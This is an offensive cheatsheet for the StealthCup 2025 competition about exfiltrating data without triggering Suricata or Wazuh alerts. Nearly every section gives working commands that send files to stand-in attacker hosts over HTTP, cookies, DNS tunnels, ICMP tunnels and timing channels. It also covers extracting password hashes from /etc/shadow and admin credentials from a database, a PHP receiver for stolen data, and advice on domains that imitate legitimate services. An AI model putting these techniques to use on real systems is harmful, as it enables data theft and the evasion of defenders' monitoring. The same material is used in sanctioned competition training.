StealthCup 2025: Data Exfiltration Cheatsheet

This cheatsheet provides techniques for stealthily exfiltrating data from the StealthCup environment, focusing on transferring required data (for write-up/proof) off the target network while minimizing detection.

Key Constraint: Minimize detection, especially high-penalty NIDS alerts (Suricata) and HIDS alerts (Wazuh).

Environment Note: Exploit the lack of outgoing port restrictions from the Kali box (as per Event_Rules_of_the_Game.pdf).

1. Core Stealth Principles for Data Exfiltration

- **Leverage Allowed Protocols**: Use common protocols that blend with normal traffic.
- **Blend In**: Mimic legitimate traffic patterns and timing.
- **Low & Slow**: Rate limit transfers, avoid large bursts of data.
- **Encode & Encrypt**: Obfuscate data content to avoid signature detection.
- **Minimize Size**: Extract only what's necessary, compress when possible.

2. HTTP/HTTPS Exfiltration

HTTP/HTTPS is often the stealthiest option as it blends with normal web traffic.

- **POST Requests**: Use POST requests to send data to an attacker-controlled server.
  - **Example (Basic cURL POST)**:

```
# Encode data with base64 first
cat sensitive_data.txt | base64 > encoded.txt
# Send via POST request
curl -X POST -d @encoded.txt https://your-server.com/receiver.php
```

  - **Example (Mimicking Browser Behavior)**:

```
# More stealthy with proper headers
curl -X POST -d @encoded.txt \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Referer: https://legitimate-site.com" \
  https://your-server.com/receiver.php
```

  - **Evasion Tip**: Use HTTPS to encrypt the data in transit. Add realistic headers (User-Agent, Referer, etc.) to mimic legitimate browser traffic. Consider sending data in smaller chunks with delays between requests.
- **Cookie/Header Exfiltration**: Hide data in HTTP headers or cookies.

- **Example (Cookie Exfiltration)**:

```
# Encode and split data
DATA=$(cat sensitive_data.txt | base64 | fold -w 50)
# Send data in chunks via cookies
for chunk in $DATA; do
  curl -s -H "Cookie: session=$chunk" https://your-server.com/
  sleep 5
done
```

- **Evasion Tip**: Many NIDS don't deeply inspect cookie values. Split large data into multiple requests to avoid triggering size-based alerts.

- **Steganography in Web Requests**: Hide data within legitimate-looking web parameters.
  - **Example (Query Parameter Hiding)**:

```
# Encode data
DATA=$(cat sensitive_data.txt | base64 | tr '+/' '-_')
# Split into chunks and send as search queries
for ((i=0; i<${#DATA}; i+=20)); do
  CHUNK="${DATA:$i:20}"
  curl -s "https://your-server.com/search?q=$CHUNK&page=1"
  sleep 3
done
```

  - **Evasion Tip**: Make requests appear as normal web browsing. Vary parameters and endpoints to avoid pattern detection.

3. DNS Tunneling

DNS traffic is often less scrutinized and can bypass many network restrictions.

- **Basic DNS Exfiltration**: Encode data in DNS queries to an attacker-controlled DNS server.
  - **Tools**: `iodine`, `dnscat2`, `DNSExfiltrator`
  - **Example (Manual DNS Exfiltration)**:

```
# Encode file in hex
HEX=$(xxd -p sensitive_data.txt | tr -d '\n')
# Split into chunks (max 63 chars per DNS label)
for ((i=0; i<${#HEX}; i+=30)); do
  CHUNK="${HEX:$i:30}"
  dig $CHUNK.exfil.yourdomain.com
  sleep 2
done
```

- **Example (Using DNSExfiltrator)**:

```
# On attacker server (set up first)
python DNSExfiltrator.py -d yourdomain.com -p password

# On victim machine
python DNSExfiltrator.py -f sensitive_data.txt -d yourdomain.com -p
password
```

- **Evasion Tip**: Keep DNS queries at a low rate (1-2 per second). Use subdomains that look legitimate. Avoid excessively long domain names that might trigger alerts.

- **Advanced DNS Tunneling**: Set up full communication channels over DNS.
  - **Example (iodine setup)**:

```
# On attacker server
iodined -f -c -P password 10.0.0.1 yourdomain.com

# On victim machine
iodine -f -P password yourdomain.com
# Then use the tunnel for any TCP/IP traffic
```

  - **Evasion Tip**: DNS tunneling can be detected by analyzing query frequency and size. Keep traffic minimal and avoid constant streams of queries.

4. ICMP Tunneling

ICMP (ping) traffic is often allowed through firewalls and minimally monitored.

- **Basic ICMP Data Transfer**: Hide data in ICMP echo request/reply packets.
  - **Tools**: `icmptunnel`, `ptunnel`
  - **Example (Manual ICMP Exfiltration)**:

```
# Split file into chunks
split -b 32 sensitive_data.txt chunks_
# Send each chunk in ICMP packets
for chunk in chunks_*; do
  ping -c 1 -p $(xxd -p $chunk | tr -d '\n') your-server.com
  sleep 1
done
```

  - **Example (Using ptunnel)**:

```
# On attacker server
ptunnel -x password
```

```
# On victim machine
ptunnel -p your-server.com -lp 8000 -da your-server.com -dp 22 -x
password
# Then SSH through the tunnel
ssh -p 8000 user@localhost
```

- **Evasion Tip**: ICMP tunneling can be detected by analyzing packet sizes and frequencies. Keep data transfers small and infrequent. Avoid predictable patterns in packet timing.

5. Encrypted and Obfuscated Channels

Adding encryption and obfuscation layers to any exfiltration method increases stealth.

- **SSH Tunneling**: Create encrypted tunnels for data transfer.
  - **Example (SSH Port Forwarding)**:

```
# Local port forwarding
ssh -L 8080:internal-server:80 user@pivot-host

# Dynamic SOCKS proxy
ssh -D 9050 user@your-server.com
# Then configure tools to use the SOCKS proxy
curl --socks5 127.0.0.1:9050 http://target-internal/data.txt >
exfiltrated.txt
```

  - **Evasion Tip**: SSH traffic is encrypted but can be identified by flow analysis. Make SSH sessions look like normal administrative activity by timing them during business hours.
- **Custom Encryption**: Add your own encryption layer before using any exfiltration channel.
  - **Example (OpenSSL Encryption)**:

```
# Encrypt data before exfiltration
openssl enc -aes-256-cbc -salt -in sensitive_data.txt -out
encrypted.bin -k password
# Then exfiltrate the encrypted file using any method
```

  - **Evasion Tip**: Custom encryption prevents content inspection but unusual entropy can trigger alerts. Consider compressing data before encryption to reduce entropy patterns.

6. Low & Slow Techniques

These techniques focus on extremely stealthy, long-duration exfiltration.

- **Timing-Based Exfiltration**: Encode data in the timing between packets.

- **Example (Timing Covert Channel)**:

```
# Encode bits in timing (simplified example)
for ((i=0; i<${#DATA}; i++)); do
  if [ "${DATA:$i:1}" == "1" ]; then
    sleep 0.5
  else
    sleep 0.1
  fi
  ping -c 1 your-server.com > /dev/null
done
```

- **Evasion Tip**: Extremely difficult to detect but very slow. Best for small amounts of critical data.

- **Fragmented Micro-Packets**: Split data into tiny fragments sent over long periods.
  - **Example (Micro-Packet Exfiltration)**:

```
# Split file into 1-byte chunks
split -b 1 sensitive_data.txt micro_
# Send each byte with long delays
for chunk in micro_*; do
  curl -s -X POST -d @$chunk https://your-server.com/receiver.php
  sleep $(( RANDOM % 60 + 30 ))  # Random 30-90 second delay
done
```

  - **Evasion Tip**: Extremely stealthy but requires patience. Best for situations where time isn't critical.

7. Multi-Channel Exfiltration

Using multiple channels simultaneously increases resilience and can reduce detection.

- **Channel Rotation**: Rotate between different exfiltration methods.
  - **Example (Simple Channel Rotation)**:

```
# Split data into chunks
split -n 3 sensitive_data.txt chunk_

# Send chunk 1 via HTTP
curl -X POST -d @chunk_aa https://your-server.com/http-receiver.php

# Send chunk 2 via DNS
cat chunk_ab | base64 | tr -d '\n' | fold -w 30 | while read chunk; do
  dig $chunk.exfil.yourdomain.com
  sleep 2
done
```

```
# Send chunk 3 via ICMP
ping -c 1 -p $(xxd -p chunk_ac | tr -d '\n') your-server.com
```

- **Evasion Tip**: Distributing data across multiple channels makes correlation difficult for defenders. Use different timing patterns for each channel.

8. Data Minimization and Preparation

Properly preparing data before exfiltration significantly reduces detection risk.

- **Data Compression**: Reduce the size of data before exfiltration.
  - **Example (Compression Before Exfiltration)**:

```
# Compress, encrypt, and encode
tar czf - sensitive_directory/ | \
openssl enc -aes-256-cbc -salt -k password | \
base64 > prepared_data.txt

# Then exfiltrate prepared_data.txt using any method
```

  - **Evasion Tip**: Compression reduces the amount of data to exfiltrate, lowering the chance of triggering volume-based alerts.
- **Selective Exfiltration**: Only extract the minimum necessary data.
  - **Example (Extracting Only Critical Fields)**:

```
# Extract only password hashes from /etc/shadow
grep -v '^[^:]*:[*!]:' /etc/shadow | cut -d: -f1,2 >
password_hashes.txt

# Extract only specific data from a database
sqlite3 database.db "SELECT username, password FROM users WHERE
admin=1" > admin_creds.txt
```

  - **Evasion Tip**: The less data you need to exfiltrate, the lower your chances of detection.

9. Attacker Infrastructure Considerations

Proper setup of receiving infrastructure is crucial for successful exfiltration.

- **Domain Selection**: Choose domains that blend with normal traffic.
  - **Example**: Use domains that mimic legitimate services (e.g., `update-cdn.com`, `api-services.net`).
  - **Evasion Tip**: Avoid domains with obvious malicious or hacking-related names. Consider using aged domains with clean reputations.

- **Server Configuration**: Set up servers to receive exfiltrated data.
    - **Example (Simple HTTP Receiver in PHP)**:

```
<?php
// receiver.php
$data = file_get_contents('php://input');
file_put_contents('received_data_' . time() . '.bin', $data);
echo "OK";
?>
```

    - **Example (DNS Server Setup)**:

```
# Using dnscat2 server
ruby dnscat2.rb yourdomain.com
```

    - **Evasion Tip**: Ensure your receiving infrastructure doesn't have obvious indicators that could be detected by threat intelligence feeds.

10. Competition Score Impact Analysis

Understanding the scoring implications of different exfiltration methods.

- **HTTP/HTTPS Exfiltration**:
    - **Likely Wazuh Alert**: Low (1-2) - Command execution
    - **Likely Suricata Alert**: Low (1) - If properly mimicking browser traffic
    - **Total Score Impact**: 0.05-0.1 + 10 = 10.05-10.1 points
- **DNS Tunneling**:
    - **Likely Wazuh Alert**: Low-Medium (1-2) - Command execution
    - **Likely Suricata Alert**: Medium (1-2) - Unusual DNS traffic
    - **Total Score Impact**: 0.05-2 + 20-40 = 20.05-42 points
- **ICMP Tunneling**:
    - **Likely Wazuh Alert**: Low (1) - Command execution
    - **Likely Suricata Alert**: Low-Medium (1) - Unusual ICMP traffic
    - **Total Score Impact**: 0.05 + 10-20 = 10.05-20.05 points
- **Large Data Transfer (Any Protocol)**:
    - **Likely Wazuh Alert**: Low (1) - Command execution
    - **Likely Suricata Alert**: High (1) - Data exfiltration
    - **Total Score Impact**: 0.05 + 30 = 30.05 points
- **Low & Slow Techniques**:

- **Likely Wazuh Alert**: Low (1) - Command execution
- **Likely Suricata Alert**: None-Low (0-1) - Minimal network footprint
- **Total Score Impact**: 0.05 + 0-10 = 0.05-10.05 points

11. Decision Framework for Exfiltration Method Selection

Use this decision framework to select the optimal exfiltration method:

1. **What is the size of the data?**
   - Small (<1MB): Consider DNS, ICMP, or HTTP with header/cookie techniques
   - Medium (1-10MB): Consider HTTPS POST or SSH tunneling
   - Large (>10MB): Consider chunked HTTPS transfers or compression before exfiltration
2. **How quickly do you need the data?**
   - Immediate: Use HTTPS or SSH tunneling (higher detection risk)
   - Can wait: Use low & slow techniques (lower detection risk)
3. **What protocols are most common in the environment?**
   - Web-heavy environment: Blend in with HTTPS
   - DNS-heavy environment: Consider DNS tunneling
   - Mixed environment: Use multi-channel approach
4. **What's your risk tolerance vs. score impact?**
   - Lowest possible score: Use low & slow techniques
   - Balance of speed and stealth: Use HTTPS with proper browser emulation

12. Exfiltration Checklist

Use this checklist before executing any data exfiltration:

- [ ] Have I minimized the data to only what's necessary?
- [ ] Have I compressed and encrypted the data?
- [ ] Am I using a protocol that blends with normal traffic?
- [ ] Have I configured proper headers/parameters to mimic legitimate traffic?
- [ ] Am I transferring data at a rate that won't trigger volume alerts?
- [ ] Is my receiving infrastructure properly configured and secured?
- [ ] Have I tested this technique in a similar environment?
- [ ] Do I have a fallback method if this one is detected?

Remember: The competition scoring system heavily penalizes Suricata alerts, especially Critical (500 points) and High (30 points) severity. Always prioritize techniques that minimize network-based detection.

Always cross-reference with the Alert Evasion Cheatsheet and Scoring System Cheatsheet to understand the alert implications of your exfiltration methods.